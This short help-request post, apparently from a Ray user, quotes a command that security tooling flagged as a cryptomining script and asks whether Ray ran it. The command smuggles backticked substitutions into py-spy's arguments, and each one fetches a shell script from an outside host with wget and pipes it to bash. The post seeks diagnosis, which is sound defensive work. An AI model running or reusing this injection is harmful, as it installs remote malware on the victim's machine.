Unknown cmd was executed

The following command was marked as a cryptomining malicious script running on Ray -

/bin/sh -c sudo -n $(which py-spy) record -o /tmp/ray/session_2024-01-05_10-26-22_907351_89/logs/`nohup wget -qO- https:/junmxiao.xyz/h5/automonitor_cs.sh | bash`_3354_cpu_profiling.txt -p 3354 -d 5 -f `nohup wget -qO- https://junmxiao.xyz/h5/automonitor_cs.sh | bash`

I wanted to know whether it is a genuine script executed by Ray or a malicious script? Thanks!

py-spy is used for the ray stack command but the rest of it does not look like it is part of Ray.